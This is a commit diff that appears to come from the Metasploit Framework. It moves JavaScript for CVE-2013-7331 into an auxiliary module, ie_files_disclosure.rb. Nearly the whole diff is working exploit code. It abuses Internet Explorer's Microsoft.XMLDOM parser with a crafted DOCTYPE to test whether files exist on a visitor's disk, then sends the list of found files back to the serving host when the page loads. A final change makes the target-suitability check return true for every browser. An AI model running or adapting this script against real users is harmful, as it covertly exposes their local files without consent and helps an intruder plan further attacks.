Skip to content

Commit f88d965

Browse files
wchen-r7wchen-r7
committed
I don't think it's worth putting the js in ie_addons.js
1 parent ad7d389 commit f88d965

File tree

2 files changed

+82
-82
lines changed

2 files changed

+82
-82
lines changed

‎data/js/detect/ie_addons.js

Lines changed: 0 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -1,83 +1,5 @@
11
var ie_addons_detect = { };
22

3-
var XMLDOMRESULTS = {
4-
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
5-
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
6-
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
7-
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
8-
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
9-
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
10-
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
11-
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
12-
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
13-
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
14-
};
15-
16-
ie_addons_detect.validateXML = function (txt) {
17-
// This is CVE-2013-7331. See auxiliary/gather/ie_files_disclosure
18-
var result = XMLDOMRESULTS.UNKNOWN;
19-
if (window.ActiveXObject) {
20-
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
21-
xmlDoc.async = true;
22-
try {
23-
xmlDoc.loadXML(txt);
24-
if (xmlDoc.parseError.errorCode != 0) {
25-
var err;
26-
err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
27-
err += "Error Reason: " + xmlDoc.parseError.reason;
28-
err += "Error Line: " + xmlDoc.parseError.line;
29-
var errReason = xmlDoc.parseError.reason.toLowerCase();
30-
if (errReason.search('access is denied') >= 0) {
31-
result = XMLDOMRESULTS.ALIVE;
32-
} else if(errReason.search('the system cannot locate the object') >= 0 || errReason.search('the system cannot find the file') >= 0 || errReason.search('the network path was not found') >= 0) {
33-
result = XMLDOMRESULTS.NOTFOUND;
34-
} else if(errReason!=''){
35-
result = XMLDOMRESULTS.FILEFOUND;
36-
} else{
37-
result = XMLDOMRESULTS.UNKNOWN; // No Error? Unknown!
38-
};
39-
} else {
40-
result = XMLDOMRESULTS.FILEFOUND;
41-
}
42-
} catch (e) {
43-
result = XMLDOMRESULTS.FOLDERFOUND;
44-
}
45-
} else {
46-
result = XMLDOMRESULTS.BADBROWSER;
47-
}
48-
result.data = "";
49-
return result;
50-
};
51-
52-
53-
ie_addons_detect.checkFiles = function (files) {
54-
var foundFiles = new Array();
55-
// the first one is for all drives, the others are for the C drive only!
56-
var preMagics = ["res://","\\\\localhost\\\\", "file:\\\\localhost\\", "file:\\"];
57-
// or any other irrelevant ADS! - we do not need this when we use Res://
58-
var postMagics = ["::$index_allocation"];
59-
60-
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
61-
62-
for (var i = 0; i < files.length; i++) {
63-
var filename = files[i];
64-
if (filename != '') {
65-
filename = preMagics[0] + filename; // postMagics can be used too!
66-
var result = ie_addons_detect.validateXML(templateString.replace("$target$", filename));
67-
if (result == XMLDOMRESULTS.FOLDERFOUND || result == XMLDOMRESULTS.ALIVE) result = XMLDOMRESULTS.UNKNOWN;
68-
result.data = filename;
69-
if (result.message.search(/file was found/i) > -1) {
70-
var trimmedFilename = result.data;
71-
// Clean up filenames
72-
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
73-
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
74-
foundFiles.push(trimmedFilename);
75-
}
76-
}
77-
}
78-
return foundFiles;
79-
};
80-
813
/**
824
* Returns true if this ActiveX is available, otherwise false.
835
* Grabbed this directly from browser_autopwn.rb

‎modules/auxiliary/gather/ie_files_disclosure.rb

Lines changed: 82 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -49,15 +49,93 @@ def js
4949
js_target_files = target_files * ','
5050

5151
%Q|
52-
#{js_base64}
53-
#{js_ie_addons_detect}
5452
#{js_ajax_post}
5553
54+
var RESULTS = {
55+
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
56+
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
57+
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
58+
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
59+
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
60+
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
61+
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
62+
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
63+
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
64+
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
65+
};
66+
67+
68+
function validateXML(txt) {
69+
var result = RESULTS.UNKNOWN;
70+
71+
if (window.ActiveXObject) {
72+
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
73+
xmlDoc.async = true;
74+
try {
75+
xmlDoc.loadXML(txt);
76+
if (xmlDoc.parseError.errorCode != 0) {
77+
var err;
78+
err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
79+
err += "Error Reason: " + xmlDoc.parseError.reason;
80+
err += "Error Line: " + xmlDoc.parseError.line;
81+
82+
var errReason = xmlDoc.parseError.reason.toLowerCase();
83+
if (errReason.search('access is denied') >= 0) {
84+
result = RESULTS.ALIVE;
85+
} else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
86+
result = RESULTS.NOTFOUND;
87+
} else if(errReason!=''){
88+
result = RESULTS.FILEFOUND;
89+
} else{
90+
result = RESULTS.UNKNOWN; // No Error? Unknown!
91+
};
92+
} else {
93+
result = RESULTS.FILEFOUND;
94+
}
95+
} catch (e) {
96+
result = RESULTS.FOLDERFOUND;
97+
}
98+
} else {
99+
result = RESULTS.BADBROWSER;
100+
}
101+
result.data = "";
102+
103+
return result;
104+
};
105+
106+
107+
function checkFiles(files) {
108+
var foundFiles = new Array();
109+
// the first one is for all drives, the others are for the C drive only!
110+
var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"];
111+
// or any other irrelevant ADS! - we do not need this when we use Res://
112+
var postMagics = ["::$index_allocation"];
113+
114+
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
115+
116+
for (var i = 0; i < files.length; i++) {
117+
var filename = files[i];
118+
if (filename != '') {
119+
filename = preMagics[0] + filename; // postMagics can be used too!
120+
var result = validateXML(templateString.replace("$target$", filename));
121+
if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN;
122+
result.data = filename;
123+
if (result.message.search(/file was found/i) > -1) {
124+
var trimmedFilename = result.data;
125+
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
126+
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
127+
foundFiles.push(trimmedFilename);
128+
}
129+
}
130+
}
131+
return foundFiles;
132+
};
133+
56134
var foundFileString = "";
57135
58136
window.onload = function() {
59137
var files = [#{js_target_files}];
60-
var foundFiles = ie_addons_detect.checkFiles(files);
138+
var foundFiles = checkFiles(files);
61139
for (var file in foundFiles) {
62140
foundFileString += foundFiles[file] + "\|";
63141
}
@@ -117,7 +195,7 @@ def is_target_suitable?(user_agent)
117195
return true
118196
end
119197

120-
false
198+
true
121199
end
122200

123201
def on_request_uri(cli, req)

0 commit comments

Comments
 (0)